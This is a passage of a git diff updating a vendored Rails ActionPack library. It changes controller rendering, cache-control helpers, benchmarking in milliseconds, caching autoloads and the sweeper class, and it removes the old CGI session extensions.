       #   render :text => proc { |response, output| output.write("Hello from code!") }
@@ -864,20 +899,31 @@ module ActionController #:nodoc:
       def render(options = nil, extra_options = {}, &block) #:doc:
         raise DoubleRenderError, "Can only render or redirect once per action" if performed?
 
+        validate_render_arguments(options, extra_options, block_given?)
+
         if options.nil?
-          return render(:file => default_template_name, :layout => true)
-        elsif !extra_options.is_a?(Hash)
-          raise RenderError, "You called render with invalid options : #{options.inspect}, #{extra_options.inspect}"
-        else
-          if options == :update
-            options = extra_options.merge({ :update => true })
-          elsif !options.is_a?(Hash)
-            raise RenderError, "You called render with invalid options : #{options.inspect}"
+          options = { :template => default_template, :layout => true }
+        elsif options == :update
+          options = extra_options.merge({ :update => true })
+        elsif options.is_a?(String) || options.is_a?(Symbol)
+          case options.to_s.index('/')
+          when 0
+            extra_options[:file] = options
+          when nil
+            extra_options[:action] = options
+          else
+            extra_options[:template] = options
           end
+
+          options = extra_options
+        elsif !options.is_a?(Hash)
+          extra_options[:partial] = options
+          options = extra_options
         end
 
-        response.layout = layout = pick_layout(options)
-        logger.info("Rendering template within #{layout}") if logger && layout
+        layout = pick_layout(options)
+        response.layout = layout.path_without_format_and_extension if layout
+        logger.info("Rendering template within #{layout.path_without_format_and_extension}") if logger && layout
 
         if content_type = options[:content_type]
           response.content_type = content_type.to_s
@@ -902,7 +948,7 @@ module ActionController #:nodoc:
             render_for_text(@template.render(options.merge(:layout => layout)), options[:status])
 
           elsif action_name = options[:action]
-            render_for_file(default_template_name(action_name.to_s), options[:status], layout)
+            render_for_file(default_template(action_name.to_s), options[:status], layout)
 
           elsif xml = options[:xml]
             response.content_type ||= Mime::XML
@@ -912,8 +958,9 @@ module ActionController #:nodoc:
             response.content_type ||= Mime::JS
             render_for_text(js, options[:status])
 
-          elsif json = options[:json]
-            json = json.to_json unless json.is_a?(String)
+          elsif options.include?(:json)
+            json = options[:json]
+            json = ActiveSupport::JSON.encode(json) unless json.is_a?(String)
             json = "#{options[:callback]}(#{json})" unless options[:callback].blank?
             response.content_type ||= Mime::JSON
             render_for_text(json, options[:status])
@@ -937,7 +984,7 @@ module ActionController #:nodoc:
             render_for_text(nil, options[:status])
 
           else
-            render_for_file(default_template_name, options[:status], layout)
+            render_for_file(default_template, options[:status], layout)
           end
         end
       end
@@ -994,7 +1041,7 @@ module ActionController #:nodoc:
         @performed_redirect = false
         response.redirected_to = nil
         response.redirected_to_method_params = nil
-        response.headers['Status'] = DEFAULT_RENDER_STATUS_CODE
+        response.status = DEFAULT_RENDER_STATUS_CODE
         response.headers.delete('Location')
       end
 
@@ -1065,7 +1112,6 @@ module ActionController #:nodoc:
         end
 
         response.redirected_to = options
-        logger.info("Redirected to #{options}") if logger && logger.info?
 
         case options
           # The scheme name consist of a letter followed by any combination of
@@ -1088,6 +1134,7 @@ module ActionController #:nodoc:
 
       def redirect_to_full_url(url, status)
         raise DoubleRenderError if performed?
+        logger.info("Redirected to #{url}") if logger && logger.info?
         response.redirect(url, interpret_status(status))
         @performed_redirect = true
       end
@@ -1097,6 +1144,11 @@ module ActionController #:nodoc:
       # request is considered stale and should be generated from scratch. Otherwise,
       # it's fresh and we don't need to generate anything and a reply of "304 Not Modified" is sent.
       #
+      # Parameters:
+      # * <tt>:etag</tt>
+      # * <tt>:last_modified</tt> 
+      # * <tt>:public</tt> By default the Cache-Control header is private, set this to true if you want your application to be cachable by other devices (proxy caches).
+      #
       # Example:
       #
       #   def show
@@ -1115,22 +1167,36 @@ module ActionController #:nodoc:
       end
 
       # Sets the etag, last_modified, or both on the response and renders a
-      # "304 Not Modified" response if the request is already fresh. 
+      # "304 Not Modified" response if the request is already fresh.
+      #
+      # Parameters:
+      # * <tt>:etag</tt>
+      # * <tt>:last_modified</tt> 
+      # * <tt>:public</tt> By default the Cache-Control header is private, set this to true if you want your application to be cachable by other devices (proxy caches).
       #
       # Example:
       #
       #   def show
       #     @article = Article.find(params[:id])
-      #     fresh_when(:etag => @article, :last_modified => @article.created_at.utc)
+      #     fresh_when(:etag => @article, :last_modified => @article.created_at.utc, :public => true)
       #   end
-      # 
-      # This will render the show template if the request isn't sending a matching etag or 
+      #
+      # This will render the show template if the request isn't sending a matching etag or
       # If-Modified-Since header and just a "304 Not Modified" response if there's a match.
+      #
       def fresh_when(options)
-        options.assert_valid_keys(:etag, :last_modified)
+        options.assert_valid_keys(:etag, :last_modified, :public)
 
         response.etag          = options[:etag]          if options[:etag]
         response.last_modified = options[:last_modified] if options[:last_modified]
+        
+        if options[:public] 
+          cache_control = response.headers["Cache-Control"].split(",").map {|k| k.strip }
+          cache_control.delete("private")
+          cache_control.delete("no-cache")
+          cache_control << "public"
+          response.headers["Cache-Control"] = cache_control.join(', ')
+        end
 
         if request.fresh?(response)
           head :not_modified
@@ -1142,15 +1208,26 @@ module ActionController #:nodoc:
       #
       # Examples:
       #   expires_in 20.minutes
-      #   expires_in 3.hours, :private => false
-      #   expires in 3.hours, 'max-stale' => 5.hours, :private => nil, :public => true
+      #   expires_in 3.hours, :public => true
+      #   expires in 3.hours, 'max-stale' => 5.hours, :public => true
       #
       # This method will overwrite an existing Cache-Control header.
       # See http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html for more possibilities.
       def expires_in(seconds, options = {}) #:doc:
-        cache_options = { 'max-age' => seconds, 'private' => true }.symbolize_keys.merge!(options.symbolize_keys)
-        cache_options.delete_if { |k,v| v.nil? or v == false }
-        cache_control = cache_options.map{ |k,v| v == true ? k.to_s : "#{k.to_s}=#{v.to_s}"}
+        cache_control = response.headers["Cache-Control"].split(",").map {|k| k.strip }
+
+        cache_control << "max-age=#{seconds}"
+        cache_control.delete("no-cache")
+        if options[:public]
+          cache_control.delete("private")
+          cache_control << "public"
+        else
+          cache_control << "private"
+        end
+        
+        # This allows for additional headers to be passed through like 'max-stale' => 5.hours
+        cache_control += options.symbolize_keys.reject{|k,v| k == :public || k == :private }.map{ |k,v| v == true ? k.to_s : "#{k.to_s}=#{v.to_s}"}
+        
         response.headers["Cache-Control"] = cache_control.join(', ')
       end
 
@@ -1164,20 +1241,19 @@ module ActionController #:nodoc:
       def reset_session #:doc:
         request.reset_session
         @_session = request.session
-        response.session = @_session
       end
 
-
     private
       def render_for_file(template_path, status = nil, layout = nil, locals = {}) #:nodoc:
-        logger.info("Rendering #{template_path}" + (status ? " (#{status})" : '')) if logger
+        path = template_path.respond_to?(:path_without_format_and_extension) ? template_path.path_without_format_and_extension : template_path
+        logger.info("Rendering #{path}" + (status ? " (#{status})" : '')) if logger
         render_for_text @template.render(:file => template_path, :locals => locals, :layout => layout), status
       end
 
       def render_for_text(text = nil, status = nil, append_response = false) #:nodoc:
         @performed_render = true
 
-        response.headers['Status'] = interpret_status(status || DEFAULT_RENDER_STATUS_CODE)
+        response.status = interpret_status(status || DEFAULT_RENDER_STATUS_CODE)
 
         if append_response
           response.body ||= ''
@@ -1191,6 +1267,16 @@ module ActionController #:nodoc:
         end
       end
 
+      def validate_render_arguments(options, extra_options, has_block)
+        if options && (has_block && options != :update) && !options.is_a?(String) && !options.is_a?(Hash) && !options.is_a?(Symbol)
+          raise RenderError, "You called render with invalid options : #{options.inspect}"
+        end
+
+        if !extra_options.is_a?(Hash)
+          raise RenderError, "You called render with invalid options : #{options.inspect}, #{extra_options.inspect}"
+        end
+      end
+
       def initialize_template_class(response)
         response.template = ActionView::Base.new(self.class.view_paths, {}, self)
         response.template.helpers.send :include, self.class.master_helper_module
@@ -1199,7 +1285,7 @@ module ActionController #:nodoc:
       end
 
       def assign_shortcuts(request, response)
-        @_request, @_params, @_cookies = request, request.parameters, request.cookies
+        @_request, @_params = request, request.parameters
 
         @_response         = response
         @_response.session = request.session
@@ -1217,11 +1303,10 @@ module ActionController #:nodoc:
       def log_processing
         if logger && logger.info?
           log_processing_for_request_id
-          log_processing_for_session_id
           log_processing_for_parameters
         end
       end
-      
+
       def log_processing_for_request_id
         request_id = "\n\nProcessing #{self.class.name}\##{action_name} "
         request_id << "to #{params[:format]} " if params[:format]
@@ -1230,17 +1315,10 @@ module ActionController #:nodoc:
         logger.info(request_id)
       end
 
-      def log_processing_for_session_id
-        if @_session && @_session.respond_to?(:session_id) && @_session.respond_to?(:dbman) &&
-            !@_session.dbman.is_a?(CGI::Session::CookieStore)
-          logger.info "  Session ID: #{@_session.session_id}"
-        end
-      end
-
       def log_processing_for_parameters
         parameters = respond_to?(:filter_parameters) ? filter_parameters(params) : params.dup
         parameters = parameters.except!(:controller, :action, :format, :_method)
-        
+
         logger.info "  Parameters: #{parameters.inspect}" unless parameters.empty?
       end
 
@@ -1255,10 +1333,17 @@ module ActionController #:nodoc:
         elsif respond_to? :method_missing
           method_missing action_name
           default_render unless performed?
-        elsif template_exists?
-          default_render
         else
-          raise UnknownAction, "No action responded to #{action_name}. Actions: #{action_methods.sort.to_sentence}", caller
+          begin
+            default_render
+          rescue ActionView::MissingTemplate => e
+            # Was the implicit template missing, or was it another template?
+            if e.path == default_template_name
+              raise UnknownAction, "No action responded to #{action_name}. Actions: #{action_methods.sort.to_sentence(:locale => :en)}", caller
+            else
+              raise e
+            end
+          end
         end
       end
 
@@ -1270,11 +1355,6 @@ module ActionController #:nodoc:
         @action_name = (params['action'] || 'index')
       end
 
-      def assign_default_content_type_and_charset
-        response.assign_default_content_type_and_charset!
-      end
-      deprecate :assign_default_content_type_and_charset => :'response.assign_default_content_type_and_charset!'
-
       def action_methods
         self.class.action_methods
       end
@@ -1305,14 +1385,8 @@ module ActionController #:nodoc:
         "#{request.protocol}#{request.host}#{request.request_uri}"
       end
 
-      def close_session
-        @_session.close if @_session && @_session.respond_to?(:close)
-      end
-
-      def template_exists?(template_name = default_template_name)
-        @template.send(:_pick_template, template_name) ? true : false
-      rescue ActionView::MissingTemplate
-        false
+      def default_template(action_name = self.action_name)
+        self.view_paths.find_template(default_template_name(action_name), default_template_format)
       end
 
       def default_template_name(action_name = self.action_name)
@@ -1334,7 +1408,16 @@ module ActionController #:nodoc:
       end
 
       def process_cleanup
-        close_session
       end
   end
+
+  Base.class_eval do
+    [ Filters, Layout, Benchmarking, Rescue, Flash, MimeResponds, Helpers,
+      Cookies, Caching, Verification, Streaming, SessionManagement,
+      HttpAuthentication::Basic::ControllerMethods, HttpAuthentication::Digest::ControllerMethods,
+      RecordIdentifier, RequestForgeryProtection, Translation
+    ].each do |mod|
+      include mod
+    end
+  end
 end
diff --git a/vendor/rails/actionpack/lib/action_controller/benchmarking.rb b/vendor/rails/actionpack/lib/action_controller/benchmarking.rb
index fa572ebf..47377e5f 100644
--- a/vendor/rails/actionpack/lib/action_controller/benchmarking.rb
+++ b/vendor/rails/actionpack/lib/action_controller/benchmarking.rb
@@ -23,8 +23,8 @@ module ActionController #:nodoc:
       def benchmark(title, log_level = Logger::DEBUG, use_silence = true)
         if logger && logger.level == log_level
           result = nil
-          seconds = Benchmark.realtime { result = use_silence ? silence { yield } : yield }
-          logger.add(log_level, "#{title} (#{('%.1f' % (seconds * 1000))}ms)")
+          ms = Benchmark.ms { result = use_silence ? silence { yield } : yield }
+          logger.add(log_level, "#{title} (#{('%.1f' % ms)}ms)")
           result
         else
           yield
@@ -48,7 +48,7 @@ module ActionController #:nodoc:
           end
 
           render_output = nil
-          @view_runtime = Benchmark::realtime { render_output = render_without_benchmark(options, extra_options, &block) }
+          @view_runtime = Benchmark.ms { render_output = render_without_benchmark(options, extra_options, &block) }
 
           if Object.const_defined?("ActiveRecord") && ActiveRecord::Base.connected?
             @db_rt_before_render = db_runtime
@@ -65,11 +65,11 @@ module ActionController #:nodoc:
     private
       def perform_action_with_benchmark
         if logger
-          seconds = [ Benchmark::measure{ perform_action_without_benchmark }.real, 0.0001 ].max
+          ms = [Benchmark.ms { perform_action_without_benchmark }, 0.01].max
           logging_view          = defined?(@view_runtime)
           logging_active_record = Object.const_defined?("ActiveRecord") && ActiveRecord::Base.connected?
 
-          log_message  = "Completed in #{sprintf("%.0f", seconds * 1000)}ms"
+          log_message  = 'Completed in %.0fms' % ms
 
           if logging_view || logging_active_record
             log_message << " ("
@@ -83,25 +83,25 @@ module ActionController #:nodoc:
             end
           end
 
-          log_message << " | #{headers["Status"]}"
+          log_message << " | #{response.status}"
           log_message << " [#{complete_request_uri rescue "unknown"}]"
 
           logger.info(log_message)
-          response.headers["X-Runtime"] = "#{sprintf("%.0f", seconds * 1000)}ms"
+          response.headers["X-Runtime"] = "%.0f" % ms
         else
           perform_action_without_benchmark
         end
       end
 
       def view_runtime
-        "View: %.0f" % (@view_runtime * 1000)
+        "View: %.0f" % @view_runtime
       end
 
       def active_record_runtime
         db_runtime = ActiveRecord::Base.connection.reset_runtime
         db_runtime += @db_rt_before_render if @db_rt_before_render
         db_runtime += @db_rt_after_render if @db_rt_after_render
-        "DB: %.0f" % (db_runtime * 1000)
+        "DB: %.0f" % db_runtime
       end
   end
 end
diff --git a/vendor/rails/actionpack/lib/action_controller/caching.rb b/vendor/rails/actionpack/lib/action_controller/caching.rb
index c4063dfb..a379485c 100644
--- a/vendor/rails/actionpack/lib/action_controller/caching.rb
+++ b/vendor/rails/actionpack/lib/action_controller/caching.rb
@@ -2,13 +2,6 @@ require 'fileutils'
 require 'uri'
 require 'set'
 
-require 'action_controller/caching/pages'
-require 'action_controller/caching/actions'
-require 'action_controller/caching/sql_cache'
-require 'action_controller/caching/sweeping'
-require 'action_controller/caching/fragments'
-
-
 module ActionController #:nodoc:
   # Caching is a cheap way of speeding up slow applications by keeping the result of calculations, renderings, and database calls
   # around for subsequent requests. Action Controller affords you three approaches in varying levels of granularity: Page, Action, Fragment.
@@ -29,8 +22,15 @@ module ActionController #:nodoc:
   #   ActionController::Base.cache_store = :file_store, "/path/to/cache/directory"
   #   ActionController::Base.cache_store = :drb_store, "druby://localhost:9192"
   #   ActionController::Base.cache_store = :mem_cache_store, "localhost"
+  #   ActionController::Base.cache_store = :mem_cache_store, Memcached::Rails.new("localhost:11211")
   #   ActionController::Base.cache_store = MyOwnStore.new("parameter")
   module Caching
+    autoload :Actions, 'action_controller/caching/actions'
+    autoload :Fragments, 'action_controller/caching/fragments'
+    autoload :Pages, 'action_controller/caching/pages'
+    autoload :Sweeper, 'action_controller/caching/sweeper'
+    autoload :Sweeping, 'action_controller/caching/sweeping'
+
     def self.included(base) #:nodoc:
       base.class_eval do
         @@cache_store = nil
@@ -42,7 +42,7 @@ module ActionController #:nodoc:
         end
 
         include Pages, Actions, Fragments
-        include Sweeping, SqlCache if defined?(ActiveRecord)
+        include Sweeping if defined?(ActiveRecord)
 
         @@perform_caching = true
         cattr_accessor :perform_caching
@@ -63,10 +63,9 @@ module ActionController #:nodoc:
         end
       end
 
-
-    private    
+    private
       def cache_configured?
         self.class.cache_configured?
       end
   end
-end
\ No newline at end of file
+end
diff --git a/vendor/rails/actionpack/lib/action_controller/caching/actions.rb b/vendor/rails/actionpack/lib/action_controller/caching/actions.rb
index 7c803a98..21ee9bd3 100644
--- a/vendor/rails/actionpack/lib/action_controller/caching/actions.rb
+++ b/vendor/rails/actionpack/lib/action_controller/caching/actions.rb
@@ -61,7 +61,9 @@ module ActionController #:nodoc:
           filter_options = { :only => actions, :if => options.delete(:if), :unless => options.delete(:unless) }
 
           cache_filter = ActionCacheFilter.new(:layout => options.delete(:layout), :cache_path => options.delete(:cache_path), :store_options => options)
-          around_filter(cache_filter, filter_options)
+          around_filter(filter_options) do |controller, action|
+            cache_filter.filter(controller, action)
+          end
         end
       end
 
@@ -83,6 +85,12 @@ module ActionController #:nodoc:
           @options = options
         end
 
+        def filter(controller, action)
+          should_continue = before(controller)
+          action.call if should_continue
+          after(controller)
+        end
+
         def before(controller)
           cache_path = ActionCachePath.new(controller, path_options_for(controller, @options.slice(:cache_path)))
           if cache = controller.read_fragment(cache_path.path, @options[:store_options])
@@ -113,7 +121,7 @@ module ActionController #:nodoc:
           end
 
           def caching_allowed(controller)
-            controller.request.get? && controller.response.headers['Status'].to_i == 200
+            controller.request.get? && controller.response.status.to_i == 200
           end
 
           def cache_layout?
@@ -129,24 +137,23 @@ module ActionController #:nodoc:
         attr_reader :path, :extension
 
         class << self
-          def path_for(controller, options, infer_extension=true)
+          def path_for(controller, options, infer_extension = true)
             new(controller, options, infer_extension).path
           end
         end
         
         # When true, infer_extension will look up the cache path extension from the request's path & format.
-        # This is desirable when reading and writing the cache, but not when expiring the cache -  expire_action should expire the same files regardless of the request format.
-        def initialize(controller, options = {}, infer_extension=true)
-          if infer_extension and options.is_a? Hash
-            request_extension = extract_extension(controller.request)
-            options = options.reverse_merge(:format => request_extension)
+        # This is desirable when reading and writing the cache, but not when expiring the cache -
+        # expire_action should expire the same files regardless of the request format.
+        def initialize(controller, options = {}, infer_extension = true)
+          if infer_extension
+            extract_extension(controller.request)
+            options = options.reverse_merge(:format => @extension) if options.is_a?(Hash)
           end
+
           path = controller.url_for(options).split('://').last
           normalize!(path)
-          if infer_extension
-            @extension = request_extension
-            add_extension!(path, @extension)
-          end
+          add_extension!(path, @extension)
           @path = URI.unescape(path)
         end
 
@@ -162,13 +169,7 @@ module ActionController #:nodoc:
           def extract_extension(request)
             # Don't want just what comes after the last '.' to accommodate multi part extensions
             # such as tar.gz.
-            extension = request.path[/^[^.]+\.(.+)$/, 1]
-
-            # If there's no extension in the path, check request.format
-            if extension.nil?
-              extension = request.cache_format
-            end
-            extension
+            @extension = request.path[/^[^.]+\.(.+)$/, 1] || request.cache_format
           end
       end
     end
diff --git a/vendor/rails/actionpack/lib/action_controller/caching/fragments.rb b/vendor/rails/actionpack/lib/action_controller/caching/fragments.rb
index 31cbe274..95cba0e4 100644
--- a/vendor/rails/actionpack/lib/action_controller/caching/fragments.rb
+++ b/vendor/rails/actionpack/lib/action_controller/caching/fragments.rb
@@ -10,23 +10,23 @@ module ActionController #:nodoc:
     #     <%= render :partial => "topic", :collection => Topic.find(:all) %>
     #   <% end %>
     #
-    # This cache will bind to the name of the action that called it, so if this code was part of the view for the topics/list action, you would 
-    # be able to invalidate it using <tt>expire_fragment(:controller => "topics", :action => "list")</tt>. 
-    # 
-    # This default behavior is of limited use if you need to cache multiple fragments per action or if the action itself is cached using 
+    # This cache will bind to the name of the action that called it, so if this code was part of the view for the topics/list action, you would
+    # be able to invalidate it using <tt>expire_fragment(:controller => "topics", :action => "list")</tt>.
+    #
+    # This default behavior is of limited use if you need to cache multiple fragments per action or if the action itself is cached using
     # <tt>caches_action</tt>, so we also have the option to qualify the name of the cached fragment with something like:
     #
     #   <% cache(:action => "list", :action_suffix => "all_topics") do %>
     #
-    # That would result in a name such as "/topics/list/all_topics", avoiding conflicts with the action cache and with any fragments that use a 
-    # different suffix. Note that the URL doesn't have to really exist or be callable - the url_for system is just used to generate unique 
-    # cache names that we can refer to when we need to expire the cache. 
-    # 
+    # That would result in a name such as "/topics/list/all_topics", avoiding conflicts with the action cache and with any fragments that use a
+    # different suffix. Note that the URL doesn't have to really exist or be callable - the url_for system is just used to generate unique
+    # cache names that we can refer to when we need to expire the cache.
+    #
     # The expiration call for this example is:
-    # 
+    #
     #   expire_fragment(:controller => "topics", :action => "list", :action_suffix => "all_topics")
     module Fragments
-      # Given a key (as described in <tt>expire_fragment</tt>), returns a key suitable for use in reading, 
+      # Given a key (as described in <tt>expire_fragment</tt>), returns a key suitable for use in reading,
       # writing, or expiring a cached fragment. If the key is a hash, the generated key is the return
       # value of url_for on that hash (without the protocol). All keys are prefixed with "views/" and uses
       # ActiveSupport::Cache.expand_cache_key for the expansion.
@@ -50,7 +50,7 @@ module ActionController #:nodoc:
 
       # Writes <tt>content</tt> to the location signified by <tt>key</tt> (see <tt>expire_fragment</tt> for acceptable formats)
       def write_fragment(key, content, options = nil)
-        return unless cache_configured?
+        return content unless cache_configured?
 
         key = fragment_cache_key(key)
 
@@ -83,15 +83,23 @@ module ActionController #:nodoc:
         end
       end
 
-      # Name can take one of three forms:
-      # * String: This would normally take the form of a path like "pages/45/notes"
-      # * Hash: Is treated as an implicit call to url_for, like { :controller => "pages", :action => "notes", :id => 45 }
-      # * Regexp: Will destroy all the matched fragments, example:
-      #     %r{pages/\d*/notes}
-      #   Ensure you do not specify start and finish in the regex (^$) because
-      #   the actual filename matched looks like ./cache/filename/path.cache
-      #   Regexp expiration is only supported on caches that can iterate over
-      #   all keys (unlike memcached).
+      # Removes fragments from the cache.
+      #
+      # +key+ can take one of three forms:
+      # * String - This would normally take the form of a path, like
+      #   <tt>"pages/45/notes"</tt>.
+      # * Hash - Treated as an implicit call to +url_for+, like
+      #   <tt>{:controller => "pages", :action => "notes", :id => 45}</tt>
+      # * Regexp - Will remove any fragment that matches, so
+      #   <tt>%r{pages/\d*/notes}</tt> might remove all notes. Make sure you
+      #   don't use anchors in the regex (<tt>^</tt> or <tt>$</tt>) because
+      #   the actual filename matched looks like
+      #   <tt>./cache/filename/path.cache</tt>. Note: Regexp expiration is
+      #   only supported on caches that can iterate over all keys (unlike
+      #   memcached).
+      #
+      # +options+ is passed through to the cache store's <tt>delete</tt>
+      # method (or <tt>delete_matched</tt>, for Regexp keys.)
       def expire_fragment(key, options = nil)
         return unless cache_configured?
 
diff --git a/vendor/rails/actionpack/lib/action_controller/caching/pages.rb b/vendor/rails/actionpack/lib/action_controller/caching/pages.rb
index a70ed72f..bd3b5a58 100644
--- a/vendor/rails/actionpack/lib/action_controller/caching/pages.rb
+++ b/vendor/rails/actionpack/lib/action_controller/caching/pages.rb
@@ -33,28 +33,26 @@ module ActionController #:nodoc:
     #
     # Additionally, you can expire caches using Sweepers that act on changes in the model to determine when a cache is supposed to be
     # expired.
-    #
-    # == Setting the cache directory
-    #
-    # The cache directory should be the document root for the web server and is set using <tt>Base.page_cache_directory = "/document/root"</tt>.
-    # For Rails, this directory has already been set to Rails.public_path (which is usually set to <tt>RAILS_ROOT + "/public"</tt>). Changing
-    # this setting can be useful to avoid naming conflicts with files in <tt>public/</tt>, but doing so will likely require configuring your
-    # web server to look in the new location for cached files.
-    #
-    # == Setting the cache extension
-    #
-    # Most Rails requests do not have an extension, such as <tt>/weblog/new</tt>. In these cases, the page caching mechanism will add one in
-    # order to make it easy for the cached files to be picked up properly by the web server. By default, this cache extension is <tt>.html</tt>.
-    # If you want something else, like <tt>.php</tt> or <tt>.shtml</tt>, just set Base.page_cache_extension. In cases where a request already has an
-    # extension, such as <tt>.xml</tt> or <tt>.rss</tt>, page caching will not add an extension. This allows it to work well with RESTful apps.
     module Pages
       def self.included(base) #:nodoc:
         base.extend(ClassMethods)
         base.class_eval do
           @@page_cache_directory = defined?(Rails.public_path) ? Rails.public_path : ""
+          ##
+          # :singleton-method:
+          # The cache directory should be the document root for the web server and is set using <tt>Base.page_cache_directory = "/document/root"</tt>.
+          # For Rails, this directory has already been set to Rails.public_path (which is usually set to <tt>RAILS_ROOT + "/public"</tt>). Changing
+          # this setting can be useful to avoid naming conflicts with files in <tt>public/</tt>, but doing so will likely require configuring your
+          # web server to look in the new location for cached files.
           cattr_accessor :page_cache_directory
 
           @@page_cache_extension = '.html'
+          ##
+          # :singleton-method:
+          # Most Rails requests do not have an extension, such as <tt>/weblog/new</tt>. In these cases, the page caching mechanism will add one in
+          # order to make it easy for the cached files to be picked up properly by the web server. By default, this cache extension is <tt>.html</tt>.
+          # If you want something else, like <tt>.php</tt> or <tt>.shtml</tt>, just set Base.page_cache_extension. In cases where a request already has an
+          # extension, such as <tt>.xml</tt> or <tt>.rss</tt>, page caching will not add an extension. This allows it to work well with RESTful apps.
           cattr_accessor :page_cache_extension
         end
       end
@@ -147,7 +145,7 @@ module ActionController #:nodoc:
 
       private
         def caching_allowed
-          request.get? && response.headers['Status'].to_i == 200
+          request.get? && response.status.to_i == 200
         end
     end
   end
diff --git a/vendor/rails/actionpack/lib/action_controller/caching/sql_cache.rb b/vendor/rails/actionpack/lib/action_controller/caching/sql_cache.rb
deleted file mode 100644
index 139be610..00000000
--- a/vendor/rails/actionpack/lib/action_controller/caching/sql_cache.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-module ActionController #:nodoc:
-  module Caching
-    module SqlCache
-      def self.included(base) #:nodoc:
-        if defined?(ActiveRecord) && ActiveRecord::Base.respond_to?(:cache)
-          base.alias_method_chain :perform_action, :caching
-        end
-      end
-
-      protected
-        def perform_action_with_caching
-          ActiveRecord::Base.cache do
-            perform_action_without_caching
-          end
-        end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/lib/action_controller/caching/sweeper.rb b/vendor/rails/actionpack/lib/action_controller/caching/sweeper.rb
new file mode 100644
index 00000000..4885d8b2
--- /dev/null
+++ b/vendor/rails/actionpack/lib/action_controller/caching/sweeper.rb
@@ -0,0 +1,45 @@
+require 'active_record'
+
+module ActionController #:nodoc:
+  module Caching
+    class Sweeper < ActiveRecord::Observer #:nodoc:
+      attr_accessor :controller
+
+      def before(controller)
+        self.controller = controller
+        callback(:before) if controller.perform_caching
+      end
+
+      def after(controller)
+        callback(:after) if controller.perform_caching
+        # Clean up, so that the controller can be collected after this request
+        self.controller = nil
+      end
+
+      protected
+        # gets the action cache path for the given options.
+        def action_path_for(options)
+          ActionController::Caching::Actions::ActionCachePath.path_for(controller, options)
+        end
+
+        # Retrieve instance variables set in the controller.
+        def assigns(key)
+          controller.instance_variable_get("@#{key}")
+        end
+
+      private
+        def callback(timing)
+          controller_callback_method_name = "#{timing}_#{controller.controller_name.underscore}"
+          action_callback_method_name     = "#{controller_callback_method_name}_#{controller.action_name}"
+
+          __send__(controller_callback_method_name) if respond_to?(controller_callback_method_name, true)
+          __send__(action_callback_method_name)     if respond_to?(action_callback_method_name, true)
+        end
+
+        def method_missing(method, *arguments, &block)
+          return if @controller.nil?
+          @controller.__send__(method, *arguments, &block)
+        end
+    end
+  end
+end
diff --git a/vendor/rails/actionpack/lib/action_controller/caching/sweeping.rb b/vendor/rails/actionpack/lib/action_controller/caching/sweeping.rb
index c7992d77..9b320021 100644
--- a/vendor/rails/actionpack/lib/action_controller/caching/sweeping.rb
+++ b/vendor/rails/actionpack/lib/action_controller/caching/sweeping.rb
@@ -51,47 +51,5 @@ module ActionController #:nodoc:
         end
       end
     end
-
-    if defined?(ActiveRecord) and defined?(ActiveRecord::Observer)
-      class Sweeper < ActiveRecord::Observer #:nodoc:
-        attr_accessor :controller
-
-        def before(controller)
-          self.controller = controller
-          callback(:before) if controller.perform_caching
-        end
-
-        def after(controller)
-          callback(:after) if controller.perform_caching
-          # Clean up, so that the controller can be collected after this request
-          self.controller = nil
-        end
-
-        protected
-          # gets the action cache path for the given options.
-          def action_path_for(options)
-            ActionController::Caching::Actions::ActionCachePath.path_for(controller, options)
-          end
-
-          # Retrieve instance variables set in the controller.
-          def assigns(key)
-            controller.instance_variable_get("@#{key}")
-          end
-
-        private
-          def callback(timing)
-            controller_callback_method_name = "#{timing}_#{controller.controller_name.underscore}"
-            action_callback_method_name     = "#{controller_callback_method_name}_#{controller.action_name}"
-
-            __send__(controller_callback_method_name) if respond_to?(controller_callback_method_name, true)
-            __send__(action_callback_method_name)     if respond_to?(action_callback_method_name, true)
-          end
-
-          def method_missing(method, *arguments)
-            return if @controller.nil?
-            @controller.__send__(method, *arguments)
-          end
-      end
-    end
   end
 end
diff --git a/vendor/rails/actionpack/lib/action_controller/cgi_ext.rb b/vendor/rails/actionpack/lib/action_controller/cgi_ext.rb
index f3b8c08d..406b6f06 100644
--- a/vendor/rails/actionpack/lib/action_controller/cgi_ext.rb
+++ b/vendor/rails/actionpack/lib/action_controller/cgi_ext.rb
@@ -1,7 +1,6 @@
 require 'action_controller/cgi_ext/stdinput'
 require 'action_controller/cgi_ext/query_extension'
 require 'action_controller/cgi_ext/cookie'
-require 'action_controller/cgi_ext/session'
 
 class CGI #:nodoc:
   include ActionController::CgiExt::Stdinput
diff --git a/vendor/rails/actionpack/lib/action_controller/cgi_ext/cookie.rb b/vendor/rails/actionpack/lib/action_controller/cgi_ext/cookie.rb
index 009ddd1c..9cd19bb1 100644
--- a/vendor/rails/actionpack/lib/action_controller/cgi_ext/cookie.rb
+++ b/vendor/rails/actionpack/lib/action_controller/cgi_ext/cookie.rb
@@ -1,3 +1,5 @@
+require 'delegate'
+
 CGI.module_eval { remove_const "Cookie" }
 
 # TODO: document how this differs from stdlib CGI::Cookie
diff --git a/vendor/rails/actionpack/lib/action_controller/cgi_ext/session.rb b/vendor/rails/actionpack/lib/action_controller/cgi_ext/session.rb
deleted file mode 100644
index d3f85e37..00000000
--- a/vendor/rails/actionpack/lib/action_controller/cgi_ext/session.rb
+++ /dev/null
@@ -1,53 +0,0 @@
-require 'digest/md5'
-require 'cgi/session'
-require 'cgi/session/pstore'
-
-class CGI #:nodoc:
-  # * Expose the CGI instance to session stores.
-  # * Don't require 'digest/md5' whenever a new session id is generated.
-  class Session #:nodoc:
-    def self.generate_unique_id(constant = nil)
-      ActiveSupport::SecureRandom.hex(16)
-    end
-
-    # Make the CGI instance available to session stores.
-    attr_reader :cgi
-    attr_reader :dbman
-    alias_method :initialize_without_cgi_reader, :initialize
-    def initialize(cgi, options = {})
-      @cgi = cgi
-      initialize_without_cgi_reader(cgi, options)
-    end
-
-    private
-      # Create a new session id.
-      def create_new_id
-        @new_session = true
-        self.class.generate_unique_id
-      end
-
-    # * Don't require 'digest/md5' whenever a new session is started.
-    class PStore #:nodoc:
-      def initialize(session, option={})
-        dir = option['tmpdir'] || Dir::tmpdir
-        prefix = option['prefix'] || ''
-        id = session.session_id
-        md5 = Digest::MD5.hexdigest(id)[0,16]
-        path = dir+"/"+prefix+md5
-        path.untaint
-        if File::exist?(path)
-          @hash = nil
-        else
-          unless session.new_session
-            raise CGI::Session::NoSession, "uninitialized session"
-          end
-          @hash = {}
-        end
-        @p = ::PStore.new(path)
